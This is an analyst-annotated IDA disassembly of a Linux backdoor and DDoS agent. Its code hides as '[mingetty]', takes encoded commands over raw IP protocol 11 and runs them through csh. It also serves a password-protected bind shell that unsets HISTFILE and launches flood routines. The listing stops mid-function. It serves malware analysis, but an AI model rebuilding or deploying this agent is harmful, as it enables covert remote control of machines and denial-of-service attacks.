; ; 浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; This file is generated by The Interactive Disassembler (IDA) ; Copyright (c) 2001 by DataRescue sa/nv, ; Licensed to: M. D. Messier, Secure Software Solutions, std, 10/2001 ; 藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; ; File Name : M:\the-binary ; Format : ELF (Executable) ; unicode macro page,string,zero irpc c, db '&c', page endm ifnb dw zero endif endm model flat ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code _init segment para public 'CODE' use32 assume cs:_init ;org 8048080h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: hidden _init_proc proc near ; CODE XREF: start+51p call sub_80675A8 retn 0 _init_proc endp _init ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code _text segment para public 'CODE' use32 assume cs:_text ;org 8048090h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden start proc near var_C = dword ptr -0Ch pop ecx mov ebx, esp mov eax, esp mov edx, ecx add edx, edx add edx, edx add eax, edx add eax, 4 xor ebp, ebp push ebp push ebp push ebp mov ebp, esp push eax ; environment pointer push ebx ; argument pointer push ecx ; argument count mov eax, 136 mov ebx, 0 int 80h ; LINUX - sys_personality mov eax, [esp+14h+var_C] mov __environ, eax ; environment? movzx eax, __fpu_control push eax call __setfpucw add esp, 4 call __libc_init push offset _term_proc call atexit add esp, 4 call _init_proc call main push eax call exit pop ebx db 8Dh,0B4h,26h,0,0,0,0 ; lea esi, [esi+0] db 8Dh,0B4h,26h,0,0,0,0 ; lea esi, [esi+0] loc_8048100: ; CODE XREF: start+77j mov eax, 1 int 80h ; LINUX - sys_exit jmp short loc_8048100 start endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 0B4h, 26h, 4 dup(0) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: hidden sub_8048110 proc near ; CODE XREF: _term_procp push ebx mov ebx, offset dword_80792B8 cmp ds:dword_80792B8, 0 jz short loc_804812C nop loc_8048120: ; CODE XREF: sub_8048110+1Aj mov eax, [ebx] call eax add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_8048120 loc_804812C: ; CODE XREF: sub_8048110+Dj pop ebx retn sub_8048110 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden main proc near ; CODE XREF: start+56p numhosts = dword ptr -44F0h var_44EC = dword ptr -44ECh ptr_buf400 = dword ptr -44E8h ptr_addrlist = dword ptr -44E4h ptr_cmdbuf = dword ptr -44E0h fd = dword ptr -44DCh ptr_data = dword ptr -44D8h ptr_datahdr = dword ptr -44D4h ptr_tmpbuf = dword ptr -44D0h clientfd = dword ptr -44CCh sockfd = dword ptr -44C8h init_as_16 = dword ptr -44C4h init_as_1 = dword ptr -44C0h var_44BC = byte ptr -44BCh var_43BC = byte ptr -43BCh accept_addr = byte ptr -11D8h listen_addr = byte ptr -11C8h addrlist = byte ptr -11B8h buf400 = byte ptr -1190h cmdbuf = byte ptr -1000h tmpbuf = byte ptr -800h argc = dword ptr 8 argv = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44F0h push edi push esi push ebx mov ebx, [ebp+argv] mov [ebp+init_as_1], 1 lea edx, [ebp+tmpbuf] mov [ebp+ptr_tmpbuf], edx ; &tmpbuf lea ecx, [ebp+tmpbuf+14h] mov [ebp+ptr_datahdr], ecx lea edx, [ebp+tmpbuf+16h] mov [ebp+ptr_data], edx mov [ebp+init_as_16], 10h call geteuid test eax, eax ; check for super-user jz short loc_804818C ; yes, we're superuser! push 0FFFFFFFFh ; no, we're not call exit nop loc_804818C: ; CODE XREF: main+4Ej mov edx, [ebx] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push 0 push edx call memset mov edx, [ebx] mov eax, dword ptr ds:aMingetty ; "[mingetty]" mov [edx], eax mov eax, dword ptr ds:aMingetty+4 mov [edx+4], eax mov ax, word ptr ds:aMingetty+8 mov [edx+8], ax mov al, byte ptr ds:aMingetty+0Ah mov [edx+0Ah], al push 1 ; SIG_IGN push 11h ; SIGCHLD call signal call fork add esp, 14h test eax, eax jz short loc_80481E8 push 0 call exit loc_80481E8: ; CODE XREF: main+ABj call setsid push 1 ; SIG_IGN push 11h ; SIGCHLD call signal call fork add esp, 8 test eax, eax jz short loc_804820C push 0 call exit db 8Dh,76h,0 ; lea esi, [esi+0] ; *NOTREACHED* loc_804820C: ; CODE XREF: main+CCj push offset aSlash ; "/" call chdir ; chdir("/") push 0 call close ; close(fileno(stdin)) push 1 call close ; close(fileno(stdout)) push 2 call close ; close(fileno(stderr)) mov ds:child_pid, 0 mov ds:dword_807E770, 0 mov ds:dword_807E778, 0 push 0 call time add esp, 14h ; cleanup previous 5 calls push eax call __srandom add esp, 4 push 0Bh ; NVP-II push 3 ; SOCK_RAW push 2 ; PF_INET call socket mov [ebp+sockfd], eax push 1 ; SIG_IGN push 1 ; SIGHUP call signal push 1 ; SIG_IGN push 0Fh ; SIGTERM call signal push 1 ; SIG_IGN push 11h ; SIGCHLD call signal add esp, 24h ; clean up previous 3 calls push 1 ; SIG_IGN push 11h ; SIGCHLD call signal add esp, 8 lea ecx, [ebp+cmdbuf] mov [ebp+ptr_cmdbuf], ecx lea edx, [ebp+addrlist] mov [ebp+ptr_addrlist], edx nop process_command_packet: ; CODE XREF: main+D91j push 0 ; flags push 800h ; bufferlen lea eax, [ebp+tmpbuf] push eax ; buffer mov ecx, [ebp+sockfd] push ecx ; sockfd call recv mov esi, eax ; # bytes received add esp, 10h mov edx, [ebp+ptr_tmpbuf] cmp byte ptr [edx+9], 0Bh ; check protocol in iphdr jnz loc_8048EB8 ; default mov ecx, [ebp+ptr_datahdr] cmp byte ptr [ecx], 2 ; first data byte must be 2 jnz loc_8048EB8 ; default cmp esi, 0C8h ; packet length (incl. iphdr) must be at least 200 bytes jle loc_8048EB8 ; default mov edx, [ebp+ptr_cmdbuf] push edx ; destination buffer mov ecx, [ebp+ptr_data] push ecx ; source (2 bytes offset into data rec'd) lea eax, [esi-16h] push eax ; number of bytes in the source buffer call decode_input ; decode_input(len, src, dst) add esp, 0Ch movzx eax, [ebp+cmdbuf+1] ; 2nd char of destination buffer dec eax cmp eax, 0Bh ; switch 12 cases ja loc_8048EB8 ; default jmp ds:off_804832C[eax*4] ; switch (cmdbuf[1] - 1) ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 off_804832C dd offset case0x0 ; DATA XREF: main+1F1r ; jump table for switch statement dd offset case0x1 ; case 0x1 dd offset case0x2 ; case 0x2 dd offset case0x3 ; case 0x3 dd offset case0x4 ; case 0x4 dd offset case0x5 ; case 0x5 dd offset case0x6 ; case 0x6 dd offset case0x7 ; case 0x7 dd offset case0x8 ; case 0x8 dd offset case0x9 ; case 0x9 dd offset case0xa ; case 0xa dd offset case0xb ; case 0xb ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 case0x0: ; CODE XREF: main+1F1j ; DATA XREF: main+1F8o mov al, ds:null_byte ; case 0x0 mov [ebp+tmpbuf], al ; put null at start of tmpbuf mov eax, ds:dword_807E77C mov [ebp+tmpbuf], al mov [ebp+tmpbuf+1], 1 mov [ebp+tmpbuf+2], 7 cmp ds:child_pid, 0 jz short loc_80483A0 mov [ebp+tmpbuf+3], 1 mov eax, ds:dword_807E778 ; should be 0 initially mov [ebp+tmpbuf+4], al jmp short loc_80483A7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80483A0: ; CODE XREF: main+254j mov [ebp+tmpbuf+3], 0 loc_80483A7: ; CODE XREF: main+268j mov edx, [ebp+ptr_cmdbuf] push edx lea eax, [ebp+tmpbuf] push eax push 190h call encode_input call random mov ecx, 0C9h cdq ; sign extend eax random result into edx:eax quadword - edx will be filled with sign bit of original eax idiv ecx ; mod random quadword by 0xC9 mov ebx, edx ; put mod doubleword of result in ebx lea eax, [ebx+190h] ; range is 400 to 600 push eax mov edx, [ebp+ptr_cmdbuf] push edx mov ecx, [ebp+ptr_addrlist] push ecx call broadcast_packet ; func( char * to 40 byte buff, char * to cmdbuff, whacked random number) add esp, 18h jmp loc_8048EB8 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 case0x1: ; CODE XREF: main+1F1j ; DATA XREF: main+1FCo movzx edx, [ebp+cmdbuf+2] ; case 0x1 mov ds:cmdbuffbyte1, edx mov al, [ebp+tmpbuf+10h] mov ds:dataptr, al mov al, [ebp+tmpbuf+11h] mov ds:byte_807E781, al mov al, [ebp+tmpbuf+12h] mov ds:byte_807E782, al mov al, [ebp+tmpbuf+13h] mov ds:byte_807E783, al push 0 call time add esp, 4 push eax call __srandom add esp, 4 call random mov ecx, 0Ah cdq idiv ecx mov edi, edx xor ebx, ebx xor esi, esi nop loc_8048454: ; CODE XREF: main+3FEj cmp ebx, edi jz loc_804852B cmp ds:cmdbuffbyte1, 2 jnz short loc_8048498 mov al, [ebp+ebx*4+cmdbuf+3] mov edx, [ebp+ptr_addrlist] mov [edx+esi], al mov al, [ebp+ebx*4+cmdbuf+4] mov [esi+edx+1], al mov al, [ebp+ebx*4+cmdbuf+5] mov [esi+edx+2], al mov al, [ebp+ebx*4+cmdbuf+6] jmp loc_8048527 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8048498: ; CODE XREF: main+32Fj call random mov [ebp+numhosts], eax test eax, eax jge short loc_80484B3 lea ecx, [eax+0FFh] mov [ebp+numhosts], ecx loc_80484B3: ; CODE XREF: main+371j mov edx, [ebp+ptr_addrlist] mov [esi+edx], al call random mov [ebp+numhosts], eax test eax, eax jge short loc_80484D7 lea ecx, [eax+0FFh] mov [ebp+numhosts], ecx loc_80484D7: ; CODE XREF: main+395j mov edx, [ebp+ptr_addrlist] mov [esi+edx+1], al call random mov [ebp+numhosts], eax test eax, eax jge short loc_80484FC lea ecx, [eax+0FFh] mov [ebp+numhosts], ecx loc_80484FC: ; CODE XREF: main+3BAj mov edx, [ebp+ptr_addrlist] mov [esi+edx+2], al call random mov [ebp+numhosts], eax test eax, eax jge short loc_8048521 lea ecx, [eax+0FFh] mov [ebp+numhosts], ecx loc_8048521: ; CODE XREF: main+3DFj mov edx, [ebp+ptr_addrlist] loc_8048527: ; CODE XREF: main+35Ej mov [esi+edx+3], al loc_804852B: ; CODE XREF: main+322j add esi, 4 inc ebx cmp ebx, 9 jle loc_8048454 mov eax, ds:cmdbuffbyte1 test eax, eax jnz short loc_8048543 xor edi, edi loc_8048543: ; CODE XREF: main+40Bj cmp eax, 2 jz loc_8048EB8 ; default shl edi, 2 mov [ebp+var_44EC], edi mov al, [ebp+cmdbuf+3] mov ecx, [ebp+ptr_addrlist] mov [edi+ecx], al mov al, [ebp+cmdbuf+4] mov edx, [ebp+var_44EC] mov [edx+ecx+1], al mov al, [ebp+cmdbuf+5] mov [edx+ecx+2], al mov al, [ebp+cmdbuf+6] mov [edx+ecx+3], al jmp loc_8048EB8 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 case0x2: ; CODE XREF: main+1F1j ; DATA XREF: main+200o call fork ; case 0x2 mov ds:dword_807E770, eax test eax, eax jnz loc_8048EB8 ; default call setsid push 1 ; SIG_IGN push 11h ; SIGCHLD call signal call fork add esp, 8 test eax, eax jz short loc_80485D8 push 0Ah call sleep push 9 mov eax, ds:dword_807E770 push eax call kill push 0 call exit nop loc_80485D8: ; CODE XREF: main+486j xor ebx, ebx lea esi, [esi] loc_80485DC: ; CODE XREF: main+4BDj mov al, [ebx+ebp-0FFEh] mov [ebx+ebp-1000h], al inc ebx cmp ebx, 18Dh jle short loc_80485DC push offset aTmp_hj237349 ; "/tmp/.hj237349" mov ecx, [ebp+ptr_cmdbuf] push ecx push offset aBinCshFCS1S21 ; "/bin/csh -f -c \"%s\" 1> %s 2>&1" lea ebx, [ebp+tmpbuf] push ebx call sprintf push ebx call system push offset aRb ; "rb" push offset aTmp_hj237349 ; "/tmp/.hj237349" call fopen mov [ebp+fd], eax add esp, 1Ch test eax, eax jz loc_8048712 xor edi, edi lea edx, [ebp+buf400] mov [ebp+ptr_buf400], edx loc_8048644: ; CODE XREF: main+5BFj mov ecx, [ebp+fd] push ecx push 18Eh push 1 lea eax, [ebp+tmpbuf] push eax call fread mov esi, eax mov [esi+ebp+tmpbuf], 0 xor ebx, ebx add esp, 10h db 8Dh,76h,0 ; lea esi, [esi+0] loc_8048670: ; CODE XREF: main+551j mov al, [ebx+ebp+tmpbuf] mov [ebx+ebp+cmdbuf+2], al inc ebx cmp ebx, 18Dh jle short loc_8048670 test edi, edi jnz short loc_804869C mov [ebp+cmdbuf+1], 3 mov edi, 1 jmp short loc_80486A3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804869C: ; CODE XREF: main+555j mov [ebp+cmdbuf+1], 4 loc_80486A3: ; CODE XREF: main+563j mov edx, [ebp+ptr_buf400] push edx mov ecx, [ebp+ptr_cmdbuf] push ecx push 190h call encode_input call random mov ecx, 0C9h cdq idiv ecx mov ebx, edx lea eax, [ebx+190h] push eax mov edx, [ebp+ptr_buf400] push edx mov ecx, [ebp+ptr_addrlist] push ecx call broadcast_packet push 61A80h call usleep add esp, 1Ch test esi, esi jnz loc_8048644 mov edx, [ebp+fd] push edx call fclose push offset aTmp_hj237349 ; "/tmp/.hj237349" call unlink add esp, 8 loc_8048712: ; CODE XREF: main+4FCj push 0 call _exit db 8Dh,76h,0 ; lea esi, [esi+0] case0x3: ; CODE XREF: main+1F1j ; DATA XREF: main+204o cmp ds:child_pid, 0 ; case 0x3 jnz loc_8048EB8 ; default mov ds:dword_807E778, 4 call fork mov ds:child_pid, eax test eax, eax jnz loc_8048EB8 ; default lea edi, [ebp+var_44BC] lea esi, [ebp+cmdbuf] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048760: ; CODE XREF: main+641j mov al, [ebx+ebp-44B3h] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048760 lea eax, [ebp+var_44BC] push eax movzx eax, [ebp+cmdbuf+8] push eax movzx eax, [ebp+cmdbuf+7] push eax movzx eax, [ebp+cmdbuf+6] push eax push 0 movzx eax, [ebp+cmdbuf+5] push eax movzx eax, [ebp+cmdbuf+4] push eax movzx eax, [ebp+cmdbuf+3] push eax movzx eax, [ebp+cmdbuf+2] push eax call sub_8049174 add esp, 24h push 0 call _exit nop case0x4: ; CODE XREF: main+1F1j ; DATA XREF: main+208o cmp ds:child_pid, 0 ; case 0x4 jnz loc_8048EB8 ; default mov ds:dword_807E778, 5 call fork mov ds:child_pid, eax test eax, eax jnz loc_8048EB8 ; default lea edi, [ebp+var_44BC] lea esi, [ebp+cmdbuf] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_804880C: ; CODE XREF: main+6EDj mov al, [ebx+ebp-44AFh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_804880C lea eax, [ebp+var_44BC] push eax movzx eax, [ebp+cmdbuf+0Ch] push eax movzx eax, [ebp+cmdbuf+0Bh] push eax movzx eax, [ebp+cmdbuf+0Ah] push eax movzx eax, [ebp+cmdbuf+9] push eax movzx eax, [ebp+cmdbuf+8] push eax movzx eax, [ebp+cmdbuf+7] push eax movzx eax, [ebp+cmdbuf+6] push eax movzx eax, [ebp+cmdbuf+5] push eax movzx eax, [ebp+cmdbuf+4] push eax movzx eax, [ebp+cmdbuf+3] push eax movzx eax, [ebp+cmdbuf+2] push eax call sub_80499F4 add esp, 30h push 0 call _exit db 8Dh,76h,0 ; lea esi, [esi+0] case0x5: ; CODE XREF: main+1F1j ; DATA XREF: main+20Co cmp ds:child_pid, 0 ; case 0x5 jnz loc_8048EB8 ; default mov ds:dword_807E778, 6 push 1 ; SIG_IGN push 11h ; SIGCHLD call signal ; signal(SIGCHLD, SIG_IGN) call fork mov ds:child_pid, eax add esp, 8 test eax, eax jnz loc_8048EB8 ; default call setsid push 1 ; SIG_IGN push 11h ; SIGCHLD call signal ; signal(SIGCHLD, SIG_IGN) mov word ptr [ebp+listen_addr], 2 ; listen_addr.sin_family = AF_INET add esp, 8 mov word ptr [ebp+listen_addr+2], 0F15Ah ; listen_addr.sin_port = 0xF15A mov dword ptr [ebp+listen_addr+4], 0 ; listen_addr.sin_addr.s_addr = INADDR_ANY mov [ebp+init_as_1], 1 push 0 push 1 ; SOCK_STREAM push 2 ; PF_INET call socket ; socket(PF_INET, SOCK_STREAM, 0) mov [ebp+sockfd], eax push 1 ; SIG_IGN push 11h ; SIGCHLD call signal ; signal(SIGCHLD, SIG_IGN) push 1 ; SIG_IGN push 11h ; SIGCHLD call signal ; signal(SIGCHLD, SIG_IGN) push 1 ; SIG_IGN push 1 ; SIGHUP call signal ; signal(SIGHUP, SIG_IGN) add esp, 24h push 1 ; SIG_IGN push 0Fh ; SIGTERM call signal ; signal(SIGTERM, SIG_IGN) push 1 ; SIG_IGN push 2 ; SIGINT call signal ; signal(SIGINT, SIG_IGN) push 4 ; sizeof(int) lea eax, [ebp+init_as_1] push eax ; &init_as_1 push 2 ; SO_REUSEADDR push 1 ; SOL_SOCKET mov ecx, [ebp+sockfd] push ecx ; sockfd call setsockopt ; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &init_as_1, sizeof(int)) add esp, 24h push 10h ; sizeof(listen_addr) lea eax, [ebp+listen_addr] push eax ; &listen_addr mov edx, [ebp+sockfd] push edx ; sockfd call bind ; bind(sockfd, &listen_addr, sizeof(listen_addr)) push 3 mov ecx, [ebp+sockfd] push ecx ; sockfd call listen ; listen(sockfd, 3) add esp, 14h nop loc_8048984: ; CODE XREF: main+882j lea eax, [ebp+init_as_16] push eax ; &init_as_16 lea eax, [ebp+accept_addr] push eax ; &accept_addr mov edx, [ebp+sockfd] push edx ; sockfd call accept ; accept(sockfd, &accept_addr, &init_as_16 mov [ebp+clientfd], eax add esp, 0Ch test eax, eax jz loc_8048AC4 call fork test eax, eax jnz short loc_8048984 push 0 push 13h lea eax, [ebp+var_43BC] push eax ; var_43BC mov ecx, [ebp+clientfd] push ecx ; clientfd call recv ; recv(clientfd, var_43BC, 0x13, 0) xor ebx, ebx add esp, 10h loc_80489D4: ; CODE XREF: main+8CEj mov al, [ebx+ebp+var_43BC] cmp al, 0Ah jz short loc_80489E3 cmp al, 0Dh jnz short loc_80489F0 loc_80489E3: ; CODE XREF: main+8A9j mov [ebx+ebp+var_43BC], 0 jmp short loc_80489FE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80489F0: ; CODE XREF: main+8ADj mov [ebx+ebp+var_43BC], al inc [ebx+ebp+var_43BC] loc_80489FE: ; CODE XREF: main+8B7j inc ebx cmp ebx, 12h jle short loc_80489D4 lea esi, [ebp+var_43BC] mov edi, offset aTfojg ; "TfOjG" mov ecx, 6 cld test al, 0 repe cmpsb jz short loc_8048A44 push 0 push 4 push offset unk_806761D mov edx, [ebp+clientfd] push edx call send mov ecx, [ebp+clientfd] push ecx call close push 1 call exit nop loc_8048A44: ; CODE XREF: main+8E5j push 0 mov edx, [ebp+clientfd] push edx call dup2 push 1 mov ecx, [ebp+clientfd] push ecx call dup2 push 2 mov edx, [ebp+clientfd] push edx call dup2 push 1 push offset aSbinBinUsrSbin ; "/sbin:/bin:/usr/sbin:/usr/bin:/usr/loca"... push offset aPath ; "PATH" call setenv add esp, 24h push offset aHistfile ; "HISTFILE" call unsetenv push 1 push offset aLinux ; "linux" push offset aTerm ; "TERM" call setenv push 0 push offset aSh ; "sh" push offset aBinSh ; "/bin/sh" call execl mov ecx, [ebp+clientfd] push ecx call close add esp, 20h push 0 call exit loc_8048AC4: ; CODE XREF: main+875j push 0 call exit nop case0x6: ; CODE XREF: main+1F1j ; DATA XREF: main+210o call fork ; case 0x6 mov ds:dword_807E770, eax test eax, eax jnz loc_8048EB8 ; default call setsid push 1 push 11h call signal call fork add esp, 8 test eax, eax jz short loc_8048B18 push 4B0h call sleep push 9 mov eax, ds:dword_807E770 push eax call kill push 0 call exit lea esi, [esi] loc_8048B18: ; CODE XREF: main+9C2j xor ebx, ebx lea esi, [esi] loc_8048B1C: ; CODE XREF: main+9FDj mov al, [ebx+ebp-0FFEh] mov [ebx+ebp-1000h], al inc ebx cmp ebx, 18Dh jle short loc_8048B1C mov edx, [ebp+ptr_cmdbuf] push edx push offset aBinCshFCS ; "/bin/csh -f -c \"%s\" " lea ebx, [ebp+tmpbuf] push ebx call sprintf push ebx call system push 0 call _exit case0x7: ; CODE XREF: main+1F1j ; DATA XREF: main+214o mov eax, ds:child_pid ; case 0x7 test eax, eax jz loc_8048EB8 ; default push 9 push eax call kill mov ds:child_pid, 0 add esp, 8 jmp loc_8048EB8 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 case0x8: ; CODE XREF: main+1F1j ; DATA XREF: main+218o cmp ds:child_pid, 0 ; case 0x8 jnz loc_8048EB8 ; default mov ds:dword_807E778, 9 call fork mov ds:child_pid, eax test eax, eax jnz loc_8048EB8 ; default lea edi, [ebp+var_44BC] lea esi, [ebp+cmdbuf] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048BC4: ; CODE XREF: main+AA5j mov al, [ebx+ebp-44B2h] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048BC4 lea eax, [ebp+var_44BC] push eax movzx eax, [ebp+cmdbuf+9] push eax movzx eax, [ebp+cmdbuf+8] push eax movzx eax, [ebp+cmdbuf+7] push eax movzx eax, [ebp+cmdbuf+6] push eax movzx eax, [ebp+cmdbuf+5] push eax movzx eax, [ebp+cmdbuf+4] push eax movzx eax, [ebp+cmdbuf+3] push eax movzx eax, [ebp+cmdbuf+2] push eax call sub_8049174 add esp, 24h push 0 call _exit db 8Dh,76h,0 ; lea esi, [esi+0] case0x9: ; CODE XREF: main+1F1j ; DATA XREF: main+21Co cmp ds:child_pid, 0 ; case 0x9 jnz loc_8048EB8 ; default mov ds:dword_807E778, 0Ah call fork mov ds:child_pid, eax test eax, eax jnz loc_8048EB8 ; default lea edi, [ebp+var_44BC] lea esi, [ebp+cmdbuf] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048C78: ; CODE XREF: main+B59j mov al, [ebx+ebp-44AEh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048C78 lea eax, [ebp+var_44BC] push eax movzx eax, [ebp+cmdbuf+0Dh] push eax push 0 movzx eax, [ebp+cmdbuf+0Ch] push eax movzx eax, [ebp+cmdbuf+0Bh] push eax movzx eax, [ebp+cmdbuf+0Ah] push eax movzx eax, [ebp+cmdbuf+9] push eax movzx eax, [ebp+cmdbuf+8] push eax movzx eax, [ebp+cmdbuf+7] push eax movzx eax, [ebp+cmdbuf+6] push eax movzx eax, [ebp+cmdbuf+5] push eax movzx eax, [ebp+cmdbuf+4] push eax movzx eax, [ebp+cmdbuf+3] push eax movzx eax, [ebp+cmdbuf+2] push eax call sub_8049D40 add esp, 38h push 0 call _exit nop case0xa: ; CODE XREF: main+1F1j ; DATA XREF: main+220o cmp ds:child_pid, 0 ; case 0xa jnz loc_8048EB8 ; default mov ds:dword_807E778, 0Bh call fork mov ds:child_pid, eax test eax, eax jnz loc_8048EB8 ; default lea edi, [ebp+var_44BC] lea esi, [ebp+cmdbuf] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048D4C: ; CODE XREF: main+C2Dj mov al, [ebx+ebp-44ADh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048D4C lea eax, [ebp+var_44BC] push eax movzx eax, [ebp+cmdbuf+0Eh] push eax movzx eax, [ebp+cmdbuf+0Dh] push eax movzx eax, [ebp+cmdbuf+0Ch] push eax movzx eax, [ebp+cmdbuf+0Bh] push eax movzx eax, [ebp+cmdbuf+0Ah] push eax movzx eax, [ebp+cmdbuf+9] push eax movzx eax, [ebp+cmdbuf+8] push eax movzx eax, [ebp+cmdbuf+7] push eax movzx eax, [ebp+cmdbuf+6] push eax movzx eax, [ebp+cmdbuf+5] push eax movzx eax, [ebp+cmdbuf+4] push eax movzx eax, [ebp+cmdbuf+3] push eax movzx eax, [ebp+cmdbuf+2] push eax call sub_8049D40 add esp, 38h push 0 call _exit db 8Dh,76h,0 ; lea esi, [esi+0] case0xb: ; CODE XREF: main+1F1j ; DATA XREF: main+224o cmp ds:child_pid, 0 ; case 0xb jnz loc_8048EB8 ; default mov ds:dword_807E778, 0Ch call fork mov ds:child_pid, eax test eax, eax jnz loc_8048EB8 ; default lea edi, [ebp+var_44BC] lea esi, [ebp+cmdbuf] cld mov ecx, 3Fh repe movsd movsw movsb xor ebx, ebx lea esi, [esi] loc_8048E28: ; CODE XREF: main+D09j mov al, [ebx+ebp-44AEh] mov [ebx+ebp-44BCh], al inc ebx cmp ebx, 0FEh jle short loc_8048E28 lea eax, [ebp+var_44BC] push eax movzx eax, [ebp+cmdbuf+0Dh] push eax movzx eax, [ebp+cmdbuf+0Ch] push eax movzx eax, [ebp+cmdbuf+0Bh] push eax movzx eax, [ebp+cmdbuf+0Ah] push eax movzx eax, [ebp+cmdbuf+9] push eax movzx eax, [ebp+cmdbuf+8] push eax movzx eax, [ebp+cmdbuf+7] push eax movzx eax, [ebp+cmdbuf+6] push eax movzx eax, [ebp+cmdbuf+5] push eax movzx eax, [ebp+cmdbuf+4] push eax movzx eax, [ebp+cmdbuf+3] push eax movzx eax, [ebp+cmdbuf+2] push eax call sub_8049564 add esp, 34h push 0 call _exit db 8Dh,76h,0 ; lea esi, [esi+0] loc_8048EB8: ; CODE XREF: main+1A5j main+1B4j ... push 2710h ; default call usleep add esp, 4 jmp process_command_packet main endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh ; db 36h ; 6 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden broadcast_packet proc near ; CODE XREF: main+2AFp main+5ABp var_C = byte ptr -0Ch address_list = dword ptr 8 data = dword ptr 0Ch datalen = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov eax, [ebp+address_list] mov edi, [ebp+datalen] cmp ds:cmdbuffbyte1, 0 jz short loc_8048F10 mov ebx, eax lea esi, [ebx+36] lea esi, [esi] loc_8048EE8: ; CODE XREF: broadcast_packet+3Ej push 0FA0h call usleep push edi mov edx, [ebp+data] push edx push ebx push offset dataptr call send_packet add esp, 14h add ebx, 4 cmp ebx, esi jle short loc_8048EE8 jmp short loc_8048F20 ; 